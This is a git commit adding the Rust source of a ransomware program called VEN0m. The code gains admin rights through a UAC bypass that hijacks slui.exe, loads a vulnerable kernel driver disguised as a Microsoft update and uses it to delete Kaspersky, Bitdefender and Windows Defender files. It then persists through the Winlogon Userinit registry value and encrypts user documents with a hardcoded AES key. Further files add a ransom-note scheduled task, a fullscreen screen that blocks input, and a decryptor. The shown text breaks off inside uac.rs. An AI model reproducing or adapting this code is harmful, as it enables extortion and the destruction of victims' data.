initial commit
This commit is contained in:
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
+96
@@ -0,0 +1,96 @@
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::env;
|
||||
use std::fs;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
use std::thread::sleep;
|
||||
use std::process::{Stdio, Command};
|
||||
use std::io::{BufReader, BufRead};
|
||||
use std::fs::OpenOptions;
|
||||
use anyhow::{Result, Context};
|
||||
use aes_gcm::{Aes256Gcm, Nonce, KeyInit, aead::{Aead, AeadCore, OsRng}};
|
||||
|
||||
mod core;
|
||||
|
||||
const KEY: &[u8; 32] = b"G7m9Xq2vR4pL8bF1sW0cZ6kD3jN5yH8u";
|
||||
|
||||
fn decrypt(path: &Path) -> Result<()> {
|
||||
|
||||
let encrypted_content = fs::read(path).context("[!] Failed to read the content of the file !")?;
|
||||
let ciphertext = &encrypted_content[12..];
|
||||
let nonce_bytes = &encrypted_content[..12];
|
||||
|
||||
let cipher = Aes256Gcm::new_from_slice(KEY).unwrap();
|
||||
let nonce = Nonce::from_slice(&nonce_bytes); // 12-byte nonce
|
||||
|
||||
// Decrypting the ciphertext
|
||||
let plaixntext = cipher.decrypt(&nonce, &*ciphertext)
|
||||
.context("[!] Decryption failed")?;
|
||||
|
||||
|
||||
// Open the file with write permissions
|
||||
let mut file = OpenOptions::new()
|
||||
.write(true)
|
||||
.truncate(true) // Truncate the file to 0 bytes
|
||||
.open(path)
|
||||
.context("Failed to open file")?;
|
||||
|
||||
// Write the modification data to the file
|
||||
file.write_all(&plaixntext)
|
||||
.context("[!] Failed to write data to file")?;
|
||||
|
||||
|
||||
let file_name = path.file_name()
|
||||
.context("[!] Failed to get the file name!")?;
|
||||
|
||||
let file_name_str = file_name.to_str()
|
||||
.context("[!] Filename is not valid Unicode")?;
|
||||
|
||||
// Removing the .vnm extention
|
||||
let new_name = &file_name_str[..file_name_str.len() - 4];
|
||||
|
||||
let new_path = path.with_file_name(new_name);
|
||||
fs::rename(path, &new_path)
|
||||
.context("[!] Failed to rename file with .vnm extension")?;
|
||||
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
// Antid0te decryptor main
|
||||
fn main() -> Result<()> {
|
||||
|
||||
// Generate a list of files for decryption
|
||||
let drvs = &["C:\\", "D:\\", "E:\\", "F:\\"];
|
||||
for drv in drvs {
|
||||
let mut output = Command::new("cmd")
|
||||
.args(["/c", "dir", "/s", "/b", drv])
|
||||
.stdout(Stdio::piped())
|
||||
.spawn()?;
|
||||
|
||||
let reader = BufReader::new(output.stdout.take().context("[!] Failed to capture stdio!")?);
|
||||
for line in reader.lines() {
|
||||
let path = PathBuf::from(line?);
|
||||
let result: Result<()> = (|| {
|
||||
|
||||
// Check extentions
|
||||
if core::extention_filter(&[path.clone()], &["vnm"])?.is_empty() {
|
||||
return Ok(());
|
||||
}
|
||||
println!(" -> Decrypting: {}", path.display());
|
||||
decrypt(&path)?;
|
||||
|
||||
Ok(())
|
||||
})();
|
||||
// Silently continue if error
|
||||
if let Err(e) = result {
|
||||
println!("[!] Skipping {}: {}", path.display(), e);
|
||||
}
|
||||
}
|
||||
|
||||
output.wait()?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
Executable
+102
@@ -0,0 +1,102 @@
|
||||
use anyhow::{Result, Context};
|
||||
use std::ffi::CStr;
|
||||
use std::mem::size_of;
|
||||
use std::process::Command;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::os::windows::process::CommandExt;
|
||||
use winapi::um::winuser::BlockInput;
|
||||
use winapi::um::processthreadsapi::{OpenProcess, TerminateProcess};
|
||||
use winapi::um::tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, TH32CS_SNAPPROCESS, PROCESSENTRY32};
|
||||
use winapi::um::handleapi::CloseHandle;
|
||||
|
||||
// Simply executing the command: cmd.exe /c "dir /s /b <TARGET_DIR>
|
||||
pub fn gen_list(dir: &str) -> Result<Vec<PathBuf>> {
|
||||
let output = Command::new("cmd")
|
||||
.args(["/c", "dir", "/s", "/b", dir])
|
||||
.output()?;
|
||||
|
||||
let result: Vec<PathBuf> = String::from_utf8(output.stdout)?
|
||||
.lines()
|
||||
.map(PathBuf::from)
|
||||
.collect();
|
||||
|
||||
Ok(result)
|
||||
|
||||
}
|
||||
|
||||
// Filtering files by exclusions
|
||||
pub fn exclusion_filter(list: &[PathBuf], XCLUSIONS: &[&str]) -> Result<Vec<PathBuf>> {
|
||||
|
||||
let mut generated_list: Vec<PathBuf> = Vec::new();
|
||||
for path in list {
|
||||
let parent = path.parent().unwrap().to_path_buf();
|
||||
let parent_str = parent.to_string_lossy().to_lowercase();
|
||||
|
||||
// Check if parent contains any excluded folder
|
||||
let should_exclude = XCLUSIONS.iter().any(|&excl| {
|
||||
parent_str.contains(&excl.to_lowercase())
|
||||
});
|
||||
|
||||
if !should_exclude { generated_list.push(path.to_path_buf());}
|
||||
}
|
||||
|
||||
Ok(generated_list)
|
||||
|
||||
}
|
||||
|
||||
// Filtering files by extension.
|
||||
pub fn extention_filter(list: &[PathBuf], XTENSIONS: &[&str]) -> Result<Vec<PathBuf>> {
|
||||
let result = list
|
||||
.iter()
|
||||
.filter(|path| {
|
||||
if let Some(ext) = path.extension().and_then(|e| e.to_str()) {
|
||||
let ext_lower = ext.to_lowercase();
|
||||
XTENSIONS.iter().any(|&x| x == ext_lower)
|
||||
} else {
|
||||
false
|
||||
}
|
||||
})
|
||||
.cloned()
|
||||
.collect();
|
||||
|
||||
Ok(result)
|
||||
}
|
||||
|
||||
pub fn freeze() {
|
||||
unsafe {
|
||||
// Take a snapshot of all processes
|
||||
let snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
|
||||
|
||||
// Iterate through processes
|
||||
let mut process_entry: PROCESSENTRY32 = std::mem::zeroed();
|
||||
process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32;
|
||||
|
||||
if Process32First(snapshot, &mut process_entry) == 1 {
|
||||
loop {
|
||||
// Check if the process is explorer.exe
|
||||
let process_name = CStr::from_ptr(process_entry.szExeFile.as_ptr())
|
||||
.to_string_lossy()
|
||||
.to_string();
|
||||
if process_name == "explorer.exe" {
|
||||
// Open the process
|
||||
let process_handle = OpenProcess(0x1F0FFF, 0, process_entry.th32ProcessID);
|
||||
if !process_handle.is_null() {
|
||||
// Terminate the process
|
||||
TerminateProcess(process_handle, 0);
|
||||
CloseHandle(process_handle);
|
||||
//BlockInput(1);
|
||||
}
|
||||
}
|
||||
|
||||
// Move to the next process
|
||||
if Process32Next(snapshot, &mut process_entry) == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Close the snapshot handle
|
||||
CloseHandle(snapshot);
|
||||
}
|
||||
}
|
||||
Executable
+105
@@ -0,0 +1,105 @@
|
||||
use anyhow::{Context, Result, bail};
|
||||
use std::io::Write;
|
||||
use std::ptr;
|
||||
use std::path::{PathBuf, Path};
|
||||
use std::os::windows::ffi::OsStrExt;
|
||||
use std::ffi::OsStr;
|
||||
|
||||
use winapi::um::winnt::*;
|
||||
use winapi::um::fileapi::{CreateFileW, OPEN_EXISTING};
|
||||
use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
|
||||
use winapi::um::ioapiset::DeviceIoControl;
|
||||
use winapi::um::errhandlingapi::GetLastError;
|
||||
|
||||
|
||||
|
||||
/// Dropping the driver to disk
|
||||
|
||||
pub fn load(dirver_bytes: &[u8]) -> Result<PathBuf> {
|
||||
|
||||
let sys_path = std::env::temp_dir().join("MicrosoftUpdate11.01.sys");
|
||||
if !sys_path.exists()
|
||||
// The written file has to be out of scope in order to use it
|
||||
{
|
||||
let mut file = std::fs::File::create(&sys_path).context("[!] Failed to create driver file!")?;
|
||||
file.write_all(dirver_bytes).context("[!] Failed to data to file")?;
|
||||
}
|
||||
println!("[+] Driver written to {}", sys_path.display());
|
||||
Ok(sys_path)
|
||||
}
|
||||
|
||||
/// Initializing the driver
|
||||
|
||||
pub fn init() -> Result<HANDLE> {
|
||||
|
||||
let device_name: Vec<u16> = OsStr::new(r"\\.\IMFForceDelete123")
|
||||
.encode_wide()
|
||||
.chain(Some(0))
|
||||
.collect();
|
||||
|
||||
let handle = unsafe {
|
||||
CreateFileW(
|
||||
device_name.as_ptr(),
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
0,
|
||||
ptr::null_mut(),
|
||||
OPEN_EXISTING,
|
||||
0,
|
||||
ptr::null_mut()
|
||||
)};
|
||||
|
||||
if handle == INVALID_HANDLE_VALUE {
|
||||
let err = unsafe {GetLastError()};
|
||||
bail!("[!] Failed to initialize the driver. Error code: {} (0x{:X})", err, err);
|
||||
}
|
||||
|
||||
Ok(handle)
|
||||
}
|
||||
|
||||
pub fn ForceDelete(hDriver: HANDLE, path_str: &str) -> Result<()> {
|
||||
|
||||
let mut bytes_returned = 0;
|
||||
let prefix = r"\??\";
|
||||
let full_path = format!("{}{}", prefix, path_str);
|
||||
|
||||
let mut wstr_file: Vec<u16> = OsStr::new(&full_path)
|
||||
.encode_wide()
|
||||
.chain(Some(0))
|
||||
.collect();
|
||||
|
||||
let result = unsafe {
|
||||
DeviceIoControl(
|
||||
hDriver,
|
||||
0x8016E000,
|
||||
wstr_file.as_ptr() as *mut _,
|
||||
(wstr_file.len() * std::mem::size_of::<u16>()) as u32,
|
||||
ptr::null_mut(),
|
||||
0,
|
||||
&mut bytes_returned,
|
||||
ptr::null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if result == 0 {
|
||||
let error_code = unsafe { GetLastError() };
|
||||
println!("[!] DeviceIoControl failed! Error code: 0x{:08X}", error_code);
|
||||
}
|
||||
else {
|
||||
println!(" -> Deleting File : {}", path_str);
|
||||
};
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn exit(hDriver: HANDLE) -> Result<()> {
|
||||
|
||||
let result = unsafe {CloseHandle(hDriver)};
|
||||
if result == 0 {
|
||||
bail!("[!] Failed to close the driver's handle!!")
|
||||
}
|
||||
|
||||
println!("[*] Driver Handle closed!");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
Executable
+51
@@ -0,0 +1,51 @@
|
||||
use anyhow::{Result, Context};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::env;
|
||||
use std::fs;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
use std::thread::sleep;
|
||||
use std::fs::OpenOptions;
|
||||
|
||||
use aes_gcm::{Aes256Gcm, Nonce, KeyInit, aead::{Aead, AeadCore, OsRng}};
|
||||
|
||||
|
||||
/// Encryption routine
|
||||
pub fn encrypt(path: &Path, KEY: &[u8; 32]) -> Result<()> {
|
||||
|
||||
sleep(Duration::from_millis(50));
|
||||
let content = fs::read(path).context("[!] Failed to read the content of the file !")?;
|
||||
|
||||
let cipher = Aes256Gcm::new_from_slice(KEY).unwrap();
|
||||
let nonce = Aes256Gcm::generate_nonce(&mut OsRng);
|
||||
let mut xxxx = nonce.to_vec();
|
||||
|
||||
xxxx.extend(cipher.encrypt(&nonce, content.as_ref()).unwrap());
|
||||
// Open the file with write permissions
|
||||
let mut file = OpenOptions::new()
|
||||
.write(true)
|
||||
.truncate(true) // Truncate the file to 0 bytes
|
||||
.open(path)
|
||||
.context("[!] Failed to open file")?;
|
||||
|
||||
// Write the modification data to the file
|
||||
file.write_all(&xxxx)
|
||||
.context("[!] Failed to write modification data to file")?;
|
||||
|
||||
// Close the file before renaming
|
||||
drop(file);
|
||||
|
||||
|
||||
// Rename the file with .vnm extension
|
||||
let new_name = path.file_name().context("[!] Failed to get the file name!")?;
|
||||
let mut new_name_os = new_name.to_os_string();
|
||||
new_name_os.push(".vnm");
|
||||
|
||||
let new_path = path.with_file_name(new_name_os);
|
||||
fs::rename(path, &new_path)
|
||||
.context("[!] Failed to rename file with .vnm extension")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
Executable
+77
@@ -0,0 +1,77 @@
|
||||
//#![windows_subsystem = "windows"]
|
||||
use anyhow::{Context, Result, bail};
|
||||
|
||||
mod uac;
|
||||
mod service;
|
||||
mod driver;
|
||||
mod vnm;
|
||||
mod core;
|
||||
mod persist;
|
||||
mod encrypt;
|
||||
mod wallpaper;
|
||||
mod task;
|
||||
|
||||
const DRIVER_BYTES: &[u8] = include_bytes!(r"../IMFForceDelete.sys");
|
||||
// Encryption key!!
|
||||
const KEY: &[u8; 32] = b"G7m9Xq2vR4pL8bF1sW0cZ6kD3jN5yH8u";
|
||||
const XTENSIONS: &[&str] = &["pdf", "doc", "xlms", "png", "jpg", "jpeg", "txt", "mp4"];
|
||||
const DRV: &[&str] = &["C:\\"];
|
||||
|
||||
// Target folders
|
||||
const TARGETS: &[&str] = &[
|
||||
r"C:\Program Files (x86)\Kaspersky Lab",
|
||||
r"C:\Program Files\Bitdefender",
|
||||
r"C:\Program Files\Bitdefender Agent",
|
||||
r"C:\Program Files\Windows Defender",
|
||||
];
|
||||
|
||||
|
||||
// Exclusions lit
|
||||
const XClUSIONS: &[&str] = &[
|
||||
"Windows",
|
||||
"Program Files",
|
||||
"Program Files (x86)",
|
||||
"ProgramData",
|
||||
"$Recycle.Bin",
|
||||
"All Users",
|
||||
|
||||
];
|
||||
|
||||
|
||||
// Entry
|
||||
fn main() -> Result<()> {
|
||||
|
||||
let bypass = uac::bypass()?;
|
||||
|
||||
let driver_path = driver::load(DRIVER_BYTES)?;
|
||||
let srv = service::register_kernel_service(driver_path)?;
|
||||
|
||||
//// Initializing the vulnerable driver
|
||||
let hDriver = driver::init()?;
|
||||
println!("[+] Driver initialized and ready for operation, Handle : {:p}", &hDriver);
|
||||
|
||||
// ----- Shredding all AV/EDR files before encryption ---- //
|
||||
|
||||
for target_folder in TARGETS {
|
||||
let files = core::gen_list(target_folder)?;
|
||||
for file in core::extention_filter(&files, &["dll", "exe", "sys"])? {
|
||||
driver::ForceDelete(hDriver, &file.to_string_lossy())?;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// Persist!
|
||||
let pers = persist::persist()?;
|
||||
|
||||
// Triggering encryption
|
||||
let rans = vnm::Ven0m(DRV, KEY, XClUSIONS, XTENSIONS)?;
|
||||
|
||||
// Closing the handle
|
||||
println!("[*] Cleaning up ...");
|
||||
driver::exit(hDriver)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
|
||||
Executable
+47
@@ -0,0 +1,47 @@
|
||||
use anyhow::{Result, Context};
|
||||
use winreg::RegKey;
|
||||
use winapi::um::winreg::{HKEY_LOCAL_MACHINE};
|
||||
|
||||
|
||||
pub fn persist() -> Result<()> {
|
||||
|
||||
let result: Result<()> = (|| {
|
||||
let current_exe = std::env::current_exe().context("Failed to get current executable path")?;
|
||||
let current_exe_str = current_exe.to_string_lossy();
|
||||
// copy the executable tom %LOCALAPPDATA%
|
||||
let user_profile = std::env::var("LOCALAPPDATA").context("[!] Failed to get USERPROFILE!")?;
|
||||
let new_path = format!("{}\\MicrosoftUpdate11.03.exe", user_profile);
|
||||
|
||||
std::fs::copy(¤t_exe, &new_path)?;
|
||||
|
||||
let hklm = RegKey::predef(HKEY_LOCAL_MACHINE);
|
||||
let path = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon";
|
||||
|
||||
let (key, _disp) = hklm
|
||||
.create_subkey(path)
|
||||
.context("Failed to create/open Winlogon registry key")?;
|
||||
|
||||
// Read the Userinit value
|
||||
let userinit: String = key
|
||||
.get_value("Userinit")
|
||||
.unwrap_or_else(|_| "C:\\Windows\\system32\\userinit.exe,".to_string());
|
||||
|
||||
// Append VEN0m to Userinit if not present
|
||||
if !userinit.contains(&new_path) {
|
||||
let new_userinit = format!("{},{}", userinit.trim_end_matches(','), new_path);
|
||||
key.set_value("Userinit", &new_userinit)
|
||||
.context("Failed to set Userinit registry value")?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
})();
|
||||
|
||||
// Silently continue if persistence fails
|
||||
match result {
|
||||
Ok(_) => println!(" -> Program configured to run at user logon via Winlogon."),
|
||||
Err(e) => println!("[!] Persistence failed: {}", e),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
Executable
+127
@@ -0,0 +1,127 @@
|
||||
#![windows_subsystem = "windows"]
|
||||
use eframe::{egui, Frame, App, IconData};
|
||||
use chrono::Local;
|
||||
use image;
|
||||
use std::thread::sleep;
|
||||
use std::time::Duration;
|
||||
mod core;
|
||||
|
||||
const ASCII_ART: &str = r#"
|
||||
|
||||
uuuuuuu
|
||||
uu$$$$$$$$$$$uu
|
||||
uu$$$$$$$$$$$$$$$$$uu
|
||||
u$$$$$$$$$$$$$$$$$$$$$u
|
||||
u$$$$$$$$$$$$$$$$$$$$$$$u
|
||||
u$$$$$$$$$$$$$$$$$$$$$$$$$u
|
||||
u$$$$$$$$$$$$$$$$$$$$$$$$$u
|
||||
u$$$$$$" "$$$" "$$$$$$u
|
||||
"$$$$" u$u $$$$"
|
||||
$$$u u$u u$$$
|
||||
$$$u u$$$u u$$$
|
||||
"$$$$uu$$$ $$$uu$$$$"
|
||||
"$$$$$$$" "$$$$$$$"
|
||||
u$$$$$$$u$$$$$$$u
|
||||
u$"$"$"$"$"$"$u
|
||||
uuu $$u$ $ $ $ $u$$ uuu
|
||||
u$$$$ $$$$$u$u$u$$$ u$$$$
|
||||
$$$$$uu "$$$$$$$$$" uu$$$$$$
|
||||
u$$$$$$$$$$$uu """"" uuuu$$$$$$$$$$
|
||||
$$$$"""$$$$$$$$$$uuu uu$$$$$$$$$"""$$$"
|
||||
""" ""$$$$$$$$$$$uu ""$"""
|
||||
uuuu ""$$$$$$$$$$uuu
|
||||
u$$$uuu$$$$$$$$$uu ""$$$$$$$$$$$uuu$$$
|
||||
$$$$$$$$$$"""" ""$$$$$$$$$$$"
|
||||
"$$$$$" ""$$$$""
|
||||
$$$" $$$$"
|
||||
"#;
|
||||
|
||||
|
||||
|
||||
struct AppState {
|
||||
start_time: chrono::DateTime<chrono::Local>,
|
||||
last_flash: chrono::DateTime<chrono::Local>,
|
||||
black_bg: bool,
|
||||
}
|
||||
|
||||
impl AppState {
|
||||
|
||||
fn new() -> Self {
|
||||
let now = Local::now();
|
||||
Self {start_time: now, last_flash: now, black_bg: true}
|
||||
}
|
||||
|
||||
// Close the gui after 30s
|
||||
fn should_close(&self) -> bool {(Local::now() - self.start_time).num_seconds() >= 30}
|
||||
// Invert the background and text color every 500ms
|
||||
fn should_flash(&self) -> bool {(Local::now() - self.last_flash).num_milliseconds() >= 500}
|
||||
|
||||
fn colors(&self) -> (egui::Color32, egui::Color32) {
|
||||
if self.black_bg { (egui::Color32::BLACK, egui::Color32::RED) }
|
||||
else { (egui::Color32::RED, egui::Color32::BLACK) }
|
||||
}
|
||||
}
|
||||
|
||||
impl App for AppState {
|
||||
fn update(&mut self, ctx: &egui::Context, frame: &mut Frame) {
|
||||
if self.should_close() {
|
||||
frame.close();
|
||||
return;
|
||||
}
|
||||
|
||||
if self.should_flash() {
|
||||
self.black_bg = !self.black_bg;
|
||||
self.last_flash = Local::now();
|
||||
}
|
||||
|
||||
let (bg_color, text_color) = self.colors();
|
||||
|
||||
egui::CentralPanel::default()
|
||||
.frame(egui::Frame { fill: bg_color, ..Default::default() })
|
||||
.show(ctx, |ui| {
|
||||
ui.vertical_centered(|ui| {
|
||||
ui.add_space(20.0);
|
||||
ui.label(egui::RichText::new(ASCII_ART).color(text_color).monospace().size(20.0));
|
||||
});
|
||||
});
|
||||
|
||||
ctx.request_repaint();
|
||||
}
|
||||
}
|
||||
|
||||
fn load_icon() -> IconData {
|
||||
|
||||
let icon_bytes = include_bytes!(r"../assets/icon.ico");
|
||||
|
||||
let image = image::load_from_memory(icon_bytes)
|
||||
.expect("[!] Failed to load icon")
|
||||
.to_rgba8();
|
||||
|
||||
let (width, height) = image.dimensions();
|
||||
let rgba = image.into_raw();
|
||||
|
||||
IconData {
|
||||
rgba,
|
||||
width,
|
||||
height,
|
||||
}
|
||||
}
|
||||
|
||||
fn main() {
|
||||
|
||||
loop {
|
||||
// Terminate explorer.exe and freese mouse and keyboard input
|
||||
//core::freeze();
|
||||
unsafe {winapi::um::winuser::BlockInput(1)};
|
||||
let options = eframe::NativeOptions {
|
||||
decorated: false,
|
||||
icon_data: Some(load_icon()),
|
||||
fullscreen: true,
|
||||
..Default::default()
|
||||
};
|
||||
|
||||
eframe::run_native("VEN0m", options, Box::new(|_cc| Box::new(AppState::new())));
|
||||
unsafe {winapi::um::winuser::BlockInput(0)};
|
||||
break;
|
||||
}
|
||||
}
|
||||
Executable
+104
@@ -0,0 +1,104 @@
|
||||
use anyhow::{Result, Context, bail};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::ffi::OsString;
|
||||
use windows_service::{
|
||||
service::{ServiceAccess, ServiceErrorControl, ServiceInfo, ServiceStartType, ServiceType},
|
||||
service_manager::{ServiceManager, ServiceManagerAccess},
|
||||
};
|
||||
use windows_service::service::ServiceState;
|
||||
use std::ffi::OsStr;
|
||||
|
||||
pub fn register_kernel_service(driver_path: PathBuf) -> Result<()> {
|
||||
|
||||
let service_name = "MicrosoftUpdate11.01";
|
||||
// Connect to the service manager
|
||||
let manager = ServiceManager::local_computer(None::<OsString>, ServiceManagerAccess::CREATE_SERVICE)
|
||||
.context("Failed to connect to service manager")?;
|
||||
|
||||
// Service infos
|
||||
let service_info = ServiceInfo {
|
||||
|
||||
name : OsString::from(service_name),
|
||||
display_name : OsString::from(service_name),
|
||||
service_type : ServiceType::KERNEL_DRIVER,
|
||||
start_type : ServiceStartType::AutoStart,
|
||||
error_control: ServiceErrorControl::Normal,
|
||||
executable_path : driver_path,
|
||||
launch_arguments: vec![],
|
||||
dependencies : vec![],
|
||||
account_name : None,
|
||||
account_password: None,
|
||||
};
|
||||
|
||||
|
||||
// Open the service with START and QUERY_STATUS access rights
|
||||
let service_access = ServiceAccess::QUERY_STATUS | ServiceAccess::START;
|
||||
let service = manager.open_service(service_name, service_access).context("[!] Failed to open the service!");
|
||||
|
||||
let exists = service_exists(service_name)?;
|
||||
if exists {
|
||||
println!("[+] Starting service '{}'", service_name);
|
||||
} else {
|
||||
|
||||
println!("[+] Creating 'MicrosoftUpdate11.01' service ...");
|
||||
let service = manager.create_service(&service_info, service_access)
|
||||
.context("[!] Failed to create service {service_name}")?;
|
||||
};
|
||||
|
||||
match start_kernel_service(service_name) {
|
||||
Ok(true) => println!("[*] Service {service_name} started"),
|
||||
Ok(false) => bail!("[!] Failed to start service: {service_name}"),
|
||||
Err(e) => {bail!("[?] Error: {}", e);},
|
||||
};
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn start_kernel_service(service_name: &str) -> Result<bool> {
|
||||
|
||||
let manager = match ServiceManager::local_computer(None::<OsString>, ServiceManagerAccess::CONNECT | ServiceManagerAccess::CREATE_SERVICE){
|
||||
Ok(manager) => manager,
|
||||
Err(e) => {bail!("Failed to connect to Service Control Manager: {:?}", e);},
|
||||
|
||||
};
|
||||
let service_access = ServiceAccess::QUERY_STATUS | ServiceAccess::START;
|
||||
let service = manager.open_service(service_name, service_access).context("[!] Failed to open the service!");
|
||||
|
||||
match service {
|
||||
Ok(service) =>{
|
||||
let status = service.query_status()?;
|
||||
match status.current_state {
|
||||
ServiceState::Running => {
|
||||
return Ok(true);
|
||||
},
|
||||
ServiceState::Stopped => {
|
||||
println!("[!] Service '{}' is stopped. Starting...", service_name);
|
||||
service.start(&[] as &[&OsStr])?;
|
||||
return Ok(true);
|
||||
},
|
||||
_ => {
|
||||
println!("[?] Service '{}' is in state: {:?}", service_name, status.current_state);
|
||||
}
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
return Ok(false);
|
||||
}
|
||||
}
|
||||
|
||||
bail!("[] Failed to start service '{}'", service_name);
|
||||
}
|
||||
|
||||
fn service_exists(service_name: &str) -> Result<bool> {
|
||||
|
||||
let manager = ServiceManager::local_computer(
|
||||
None::<OsString>,
|
||||
ServiceManagerAccess::CONNECT
|
||||
).context("Failed to connect to service manager")?;
|
||||
|
||||
match manager.open_service(service_name, ServiceAccess::QUERY_STATUS) {
|
||||
Ok(_) => {return Ok(true);},
|
||||
Err(windows_service::Error::Winapi(e)) if e.raw_os_error() == Some(1060) => {return Ok(false);},
|
||||
Err(e) => {bail!("{}",e);},
|
||||
}
|
||||
}
|
||||
Executable
+41
@@ -0,0 +1,41 @@
|
||||
use anyhow::{Result, Context};
|
||||
use std::process::Command;
|
||||
use std::io::Write;
|
||||
|
||||
pub fn register() -> Result<()> {
|
||||
|
||||
let note_bytes = include_bytes!("..\\target\\release\\note.exe");
|
||||
let task_name = "MicrosoftUpdate11.01";
|
||||
let user_profile = std::env::var("USERPROFILE").context("[!] Failed to get USERPROFILE!")?;
|
||||
|
||||
let sys_path = format!("{}\\Desktop\\@[email protected]", user_profile);
|
||||
|
||||
// The written file has to be out of scope in order to use it
|
||||
{
|
||||
let mut file = std::fs::File::create(&sys_path).context("[!] Failed to create note file!")?;
|
||||
file.write_all(note_bytes).context("[!] Failed to data to file")?;
|
||||
}
|
||||
println!("[+] Note dropped to {}", sys_path);
|
||||
|
||||
|
||||
let output = Command::new("schtasks")
|
||||
.args([
|
||||
"/Create",
|
||||
"/SC", "MINUTE",
|
||||
"/MO", "2",
|
||||
"/TN", task_name,
|
||||
"/TR", &sys_path,
|
||||
"/RL", "HIGHEST",
|
||||
"/F",
|
||||
])
|
||||
.output()
|
||||
.context("Failed to execute schtasks")?;
|
||||
|
||||
let output = Command::new("schtasks")
|
||||
.args(["/Run", "/TN", task_name])
|
||||
.output()
|
||||
.context("Failed to execute schtasks")?;
|
||||
|
||||
|
||||
Ok(())
|
||||
}
|
||||
Executable
+115
@@ -0,0 +1,115 @@
|
||||
use anyhow::{Result, Context, bail};
|
||||
use winreg::RegKey;
|
||||
use winapi::um::winreg::{HKEY_CURRENT_USER};
|
||||
use std::ffi::OsStr;
|
||||
use std::os::windows::ffi::OsStrExt;
|
||||
use std::process;
|
||||
use std::env;
|
||||
use std::ptr::null_mut;
|
||||
use winapi::um::winuser::SW_SHOW;
|
||||
use winapi::um::shellapi::ShellExecuteW;
|
||||
use winapi::um::handleapi::CloseHandle;
|
||||
use winapi::um::processthreadsapi::{OpenProcessToken, GetCurrentProcess};
|
||||
use winapi::um::winnt::{TOKEN_QUERY, TokenElevation};
|
||||
use winapi::um::securitybaseapi::GetTokenInformation;
|
||||
use winapi::ctypes::c_void;
|
||||
|
||||
pub fn bypass() -> Result<()> {
|
||||
|
||||
let privs = is_elevated()?;
|
||||
if !privs {
|
||||
println!("[+] Executing UAC Bypass");
|
||||
// Set the DelegateExecute registry key to an empty value
|
||||
create_key(Some("DelegateExecute"), "")?;
|
||||
|
||||
let current_exe = match std::env::current_exe() {
|
||||
Ok(exe) => exe.to_string_lossy().to_string(),
|
||||
Err(e) => bail!("[!] Failed to get current executable path: {:?}", e),
|
||||
};
|
||||
|
||||
// Set the command registry key to point to VEN0m
|
||||
create_key(None, ¤t_exe)?;
|
||||
// Trigger the execution
|
||||
run_as_admin("C:\\Windows\\System32\\slui.exe")?;
|
||||
process::exit(0);
|
||||
}
|
||||
else {
|
||||
println!("[+] UAC Bypassed! Running with elevated privs!");
|
||||
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn create_key(key: Option<&str>, value: &str) -> Result<()> {
|
||||
|
||||
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
|
||||
let path = "Software\\Classes\\Launcher.SystemSettings\\Shell\\Open\\Command";
|
||||
|
||||
// Create the reg key
|
||||
let (reg_key, _) = hkcu
|
||||
.create_subkey(path)
|
||||
.context("[!] Failed to create or open registry key")?;
|
||||
|
||||
// Set the value
|
||||
match key {
|
||||
Some(k) => reg_key.set_value(k, &value)
|
||||
.context(format!("[!] Failed to set registry key: {}", k))?,
|
||||
None => reg_key.set_value("", &value)
|
||||
.context("[!] Failed to set default registry key")?,
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
pub fn run_as_admin(executable: &str) -> Result<()> {
|
||||
let executable_wide: Vec<u16> = OsStr::new(executable).encode_wide().chain(Some(0)).collect();
|
||||
|
||||
// Use ShellExecuteW with the "runas" verb to trigger UAC
|
||||
let result = unsafe {
|
||||
ShellExecuteW(
|
||||
null_mut(),
|
||||
"runas\0".encode_utf16().collect::<Vec<u16>>().as_ptr(),
|
||||
executable_wide.as_ptr(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
SW_SHOW,
|
||||
)
|
||||
};
|
||||
|
||||
if result as usize <= 32 {
|
||||
bail!("[!] Failed to run as Administrator!");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
|
||||
fn is_elevated() -> Result<bool> {
|
||||
unsafe {
|
||||
let mut token = null_mut();
|
||||
if OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) == 0 {
|
||||
bail!("[!] OpenProcessToken Failed!");
|
||||
}
|
||||
|
||||
let mut elevation: u32 = 0;
|
||||
let mut size = std::mem::size_of::<u32>() as u32;
|
||||
if GetTokenInformation(
|
||||
token,
|
||||
TokenElevation,
|
||||
&mut elevation as *mut _ as *mut c_void,
|
||||
size,
|
||||
&mut size,
|
||||
) == 0
|
||||
{
|
||||
CloseHandle(token);
|
||||
bail!("[!] GetTokenInformation Failed!");
|
||||
}
|
||||
|
